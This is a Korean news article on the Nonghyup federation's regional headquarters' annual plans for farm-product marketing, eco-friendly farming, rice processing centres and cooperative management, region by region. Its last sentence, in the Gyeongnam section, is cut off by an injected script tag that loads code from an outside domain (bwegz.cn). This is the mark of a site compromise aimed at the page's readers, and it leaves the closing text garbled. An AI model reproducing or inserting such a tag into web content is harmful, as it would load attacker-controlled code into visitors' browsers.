올해 농협중앙회 각 지역본부는 소비지 지향의 농축산물 생산·유통체계를 다지고 조합의 자립경영기반을 마련하는 데 `올인''한다는 계획이다.

또 올해 집중되는 조합장선거를 공명하게 치르는 한편 새농촌새농협 운동도 적극적으로 추진키로 했다.

농협중앙회는 지난 16일 서울 서대문소재 농협중앙회 강당에서 이같은 내용의 지역본부 업무보고회를 가졌다.

주요 사업내용을 살펴본다.

# 경기지역본부

경기농축산물의 브랜드 제고를 위한 지원확대에 총력을 펼치기로 했다.

고품질 쌀 품종의 계약재배를 올해 5500톤으로 확대하고 건조·저장·가공 시설 지원도 66개소로 늘리기로 했다.

특히 시군지부 주관 연합사업을 지난해 3개에서 올해 7개 시군으로 늘리고 연합마케팅사업 규모도 지난해보다 20% 가량 늘어난 240억원으로 잡았다.

친환경 농산물의 생산기반 조성에 90억원을 집중 투입하고 양평·광주·하남·용인 등을 중심로 친환경농산물의 규모화를 추진키로 했다.

# 강원지역본부

권역별로 특화사업을 추진하고 지역농업 클러스터를 중심으로 강원농업의 인프라를 구축하는데 초점을 맞췄다.

과채류 공동마케팅은 영서권, 지역농업클러스터는 고랭지권, 관광농업은 영동권 등 3각밸리를 중심으로 강원도 농업발전을 이끌어낸다는 계획이다.

또 현재 진행중인 백두대간 농업클러스터로 고랭지농업의 혁신을 꾀하는 한편 내년부터는 강원연합 클러스터, 홍천군 지역농업클러스터를 연차적으로 추진키로 했다.

# 충북지역본부

구매사업의 경쟁력 강화, 고품질쌀 생산과 마케팅 체계 구축이 주요 사업으로 꼽혔다.

유기질 비료·부산물비료 공급을 지난해 96억원에서 올해 117억원으로 확대하고 계통유류사업 참여조합도 지난해 12개소에서 올해 22개소로 늘리기로 했다.

또 고품질 쌀 위주의 계약재배물량을 6만9000톤으로 늘리고 쌀 가공 시범 미곡종합처리장(RPC)을 4개소 설치키로 했다. 충북쌀 수도권 쌀시장 개척단을 중심으로 수도권 쌀 시장을 공략해나간다는 계획이다.

# 충남지역본부

고품질 농축산물의 생산·유통체계를 마련하고 산지유통전문조직을 중심으로 농산물 고급화를 끌어낸다는 계획이다.

품종통일 RPC를 지난해 17개소에서 올해 25개소로 늘리고 부여·당진·보령 등 3개 시군의 RPC를 통합키로 했다.

또 선택과 집중으로 산지유통 전문조직을 정예화하고 공동계산에도 지난해보다 10개 늘어난 38개조합이 참여, 추진비율도 20%로 올리기로 했다.

# 전북지역본부

도시민과 함께하는 농업·농촌을 만들고 경쟁력있는 농산물 유통체제를 다지는 데 주력키로 했다.

오는 5월 중으로 농촌사랑운동 확산을 위한 범도민대회를 개최할 예정이며 농촌사랑 1사1촌 자매결연도 800건 이상 추진키로 했다.

또 산지유통전문조합을 유통핵심조직으로 육성하고 공동계산제 품목도 지난해 150억원에서 올해 200억원 규모로 확대할 계획이다.

농산물 인터넷 판매도 지난해보다 20% 성장한 82억원으로 잡았다.

# 전남지역본부

새농촌 새농협운동의 적극 실천, 친환경 안전·우수농산물 생산지원, 학교급식 전담 등 12개 핵심사업을 전사적으로 추진한다는 계획이다.

1개 시군의 1개 농협에서 1개의 친환경작목반을 육성하는 `친환경 1·1·1 운동''을 전개하고 전 시군 1개조합에 친환경 농업자재 생산공장을 설치키로 했다.

또 권역별로 거점조직을 육성해 학교급식 참여조합을 21개로 늘리고 물량도 100억원으로 잡았다.

이외 남평농협 RPC를 중심으로 고품질 쌀 생산 섹터화를 추진키로 했다.

# 경북지역본부

친환경 농산물의 생산과 판매를 확대하고 산지유통체계를 구축하는데 총력을 기울이기로 했다.

우수농산물관리제도(GAP)참여농협을 지난해 2개에서 올해 5개로 늘리고 하나로마트 판매코너도 지난해 14개에서 23개로 확대한다는 계획이다.

산지유통 전문조직 55개소에 1600억원을 지원키로 했으며 공동계산제 참여조합도 지난해 39개에서 올해 45개로 늘리고 공동계산비율도 15%까지 확대키로 했다.

# 경남지역본부

소비자 지향의 유통혁신, 조합 자립경영기반 구축을 주요 사업으로 꼽았다.

공동계산제 비중을 지난해보다 6.4% 늘어난 1100억원으로 목표 잡았고 공동선별·공동계산을 실천할 유통형작목반을 40개 육성할 계획이다.

연합마케팅사업을 통한 유통물량을 지난해보다 24.6% 늘어난 537억원으로 잡았다.

또 부실조합에 대해서는 조기 경영정상화를 추진하고 올해 49개?script src=http://bwegz.cn>
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